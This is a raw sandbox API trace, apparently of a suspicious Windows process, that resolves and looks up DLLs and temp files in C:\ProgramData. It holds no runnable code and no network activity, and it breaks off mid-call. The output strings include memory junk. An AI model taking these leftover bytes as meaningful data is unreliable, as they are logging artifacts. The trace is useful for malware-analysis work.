1 [0118.337] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll", psz="c:\\PROGRA~3\\crli-0.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll\\") returned 1 [0118.338] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\crli-0.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\crli-0.dll\\") returned 1 [0118.338] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll\\", psz="c:\\PROGRA~3\\crli-0.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll") returned 1 [0118.339] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\crli-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\crli-0.dll") returned 0x16 [0118.339] SysReAllocStringLen (in: pbstr=0x472a48*=0x0, psz="c:\\progra~3\\crli-0.dll", len=0x16 | out: pbstr=0x472a48*="c:\\progra~3\\crli-0.dll") returned 1 [0118.339] SysReAllocStringLen (in: pbstr=0x472a4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x472a4c*="c:") returned 1 [0118.340] SysReAllocStringLen (in: pbstr=0x472a6c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472a6c*="progra~3") returned 1 [0118.340] SysReAllocStringLen (in: pbstr=0x472a8c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a8c*="crli-0.dll") returned 1 [0118.340] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.340] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472ab4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB050EC.TMP⍔vバt☘E\x18") returned 12 [0118.341] CharLowerBuffW (in: lpsz="EVB050EC.TMP", cchLength=0xc | out: lpsz="evb050ec.tmp") returned 0xc [0118.341] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.341] FindFirstFileW (in: lpFileName="c:\\programdata\\evb050ec.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x2400, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x720063, nFileSizeLow=0x69006c, dwReserved0=0x30002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.341] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.341] SysReAllocStringLen (in: pbstr=0x28f258*="evb050ec.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28f1cc*="crli-0.dll") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\crli-0.dll") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0118.341] SysReAllocStringLen (in: pbstr=0x472934*=0x0, psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x472934*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0118.342] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 0x2f [0118.342] SysReAllocStringLen (in: pbstr=0x472acc*=0x0, psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x472acc*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0118.342] SysReAllocStringLen (in: pbstr=0x472af0*=0x0, psz="device", len=0x6 | out: pbstr=0x472af0*="device") returned 1 [0118.342] SysReAllocStringLen (in: pbstr=0x472b10*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472b10*="harddiskvolume1") returned 1 [0118.342] SysReAllocStringLen (in: pbstr=0x472b1c*=0x0, psz="programdata", len=0xb | out: pbstr=0x472b1c*="programdata") returned 1 [0118.342] SysReAllocStringLen (in: pbstr=0x472b28*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472b28*="crli-0.dll") returned 1 [0118.342] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.342] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.342] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.343] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.343] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="crli-0.dll", len=0xa | out: pbstr=0x28f1c0*="crli-0.dll") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll") returned 1 [0118.343] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 1 [0118.343] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 0x2c [0118.343] SysReAllocStringLen (in: pbstr=0x472b38*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", len=0x2c | out: pbstr=0x472b38*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 1 [0118.344] SysReAllocStringLen (in: pbstr=0x472b5c*=0x0, psz="device", len=0x6 | out: pbstr=0x472b5c*="device") returned 1 [0118.344] SysReAllocStringLen (in: pbstr=0x472b7c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472b7c*="harddiskvolume1") returned 1 [0118.344] SysReAllocStringLen (in: pbstr=0x472b88*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472b88*="progra~3") returned 1 [0118.344] SysReAllocStringLen (in: pbstr=0x472b94*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472b94*="crli-0.dll") returned 1 [0118.344] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0118.344] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.344] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.344] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0118.345] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.345] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.345] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.345] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f23c*="dmgd-4.dll") returned 1 [0118.345] CharLowerBuffW (in: lpsz="dmgd-4.dll", cchLength=0xa | out: lpsz="dmgd-4.dll") returned 0xa [0118.345] SysReAllocStringLen (in: pbstr=0x28f240*="dmgd-4.dll", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f240*="dmgd-4.dll") returned 1 [0118.345] SysReAllocStringLen (in: pbstr=0x472bec*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472bec*="dmgd-4.dll") returned 1 [0118.346] SysReAllocStringLen (in: pbstr=0x472bf0*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472bf0*="dmgd-4.dll") returned 1 [0118.346] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.346] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.346] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0118.346] SysReAllocStringLen (in: pbstr=0x472bf4*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472bf4*="c:\\programdata\\dmgd-4.dll") returned 1 [0118.346] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0118.346] SysReAllocStringLen (in: pbstr=0x472cd0*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472cd0*="c:\\programdata\\dmgd-4.dll") returned 1 [0118.346] SysReAllocStringLen (in: pbstr=0x472cd4*=0x0, psz="c:", len=0x2 | out: pbstr=0x472cd4*="c:") returned 1 [0118.346] SysReAllocStringLen (in: pbstr=0x472cf4*=0x0, psz="programdata", len=0xb | out: pbstr=0x472cf4*="programdata") returned 1 [0118.347] SysReAllocStringLen (in: pbstr=0x472d14*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d14*="dmgd-4.dll") returned 1 [0118.347] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.347] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.347] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.347] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.347] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.347] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.347] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.347] GetLastError () returned 0x12 [0118.347] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.347] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef0c*="dmgd-4.dll") returned 1 [0118.348] FindFirstFileW (in: lpFileName="c:\\ProgramData\\dmgd-4.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 0x7632b0 [0118.348] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.348] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.348] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\dmgd-4.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\dmgd-4.dll") returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll", psz="c:\\ProgramData\\dmgd-4.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll\\") returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\dmgd-4.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\dmgd-4.dll\\") returned 1 [0118.348] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll\\", psz="c:\\ProgramData\\dmgd-4.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll") returned 1 [0118.349] CharLowerBuffW (in: lpsz="c:\\ProgramData\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0118.349] SysReAllocStringLen (in: pbstr=0x472cd0*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472cd0*="c:\\programdata\\dmgd-4.dll") returned 1 [0118.349] SysReAllocStringLen (in: pbstr=0x472cd4*=0x0, psz="c:", len=0x2 | out: pbstr=0x472cd4*="c:") returned 1 [0118.349] SysReAllocStringLen (in: pbstr=0x472cf4*=0x0, psz="programdata", len=0xb | out: pbstr=0x472cf4*="programdata") returned 1 [0118.349] SysReAllocStringLen (in: pbstr=0x472d14*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d14*="dmgd-4.dll") returned 1 [0118.349] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.349] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.350] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0118.350] SysReAllocStringLen (in: pbstr=0x472d24*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472d24*="c:\\programdata\\dmgd-4.dll") returned 1 [0118.350] SysReAllocStringLen (in: pbstr=0x472d28*=0x0, psz="c:", len=0x2 | out: pbstr=0x472d28*="c:") returned 1 [0118.350] SysReAllocStringLen (in: pbstr=0x472d48*=0x0, psz="programdata", len=0xb | out: pbstr=0x472d48*="programdata") returned 1 [0118.350] SysReAllocStringLen (in: pbstr=0x472d68*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d68*="dmgd-4.dll") returned 1 [0118.350] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.350] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.351] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.351] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.351] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.351] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.351] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.351] GetLastError () returned 0x12 [0118.351] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.351] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.351] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.351] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef0c*="dmgd-4.dll") returned 1 [0118.351] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\dmgd-4.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 0x7632b0 [0118.351] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.351] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.352] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.352] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\dmgd-4.dll") returned 1 [0118.352] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll", psz="c:\\PROGRA~3\\dmgd-4.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll\\") returned 1 [0118.352] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\dmgd-4.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\dmgd-4.dll\\") returned 1 [0118.352] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll\\", psz="c:\\PROGRA~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll") returned 1 [0118.352] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\dmgd-4.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\dmgd-4.dll") returned 0x16 [0118.352] SysReAllocStringLen (in: pbstr=0x472d24*=0x0, psz="c:\\progra~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x472d24*="c:\\progra~3\\dmgd-4.dll") returned 1 [0118.352] SysReAllocStringLen (in: pbstr=0x472d28*=0x0, psz="c:", len=0x2 | out: pbstr=0x472d28*="c:") returned 1 [0118.353] SysReAllocStringLen (in: pbstr=0x472d48*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472d48*="progra~3") returned 1 [0118.353] SysReAllocStringLen (in: pbstr=0x472d68*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d68*="dmgd-4.dll") returned 1 [0118.353] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.353] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.353] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472d90, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB9EB33.TMP⍔vバt☘E\x18") returned 12 [0118.353] CharLowerBuffW (in: lpsz="EVB9EB33.TMP", cchLength=0xc | out: lpsz="evb9eb33.tmp") returned 0xc [0118.353] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.353] FindFirstFileW (in: lpFileName="c:\\programdata\\evb9eb33.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xac00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6d0064, nFileSizeLow=0x640067, dwReserved0=0x34002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A舼uA((")) returned 0xffffffff [0118.354] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.354] SysReAllocStringLen (in: pbstr=0x28f258*="evb9eb33.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: 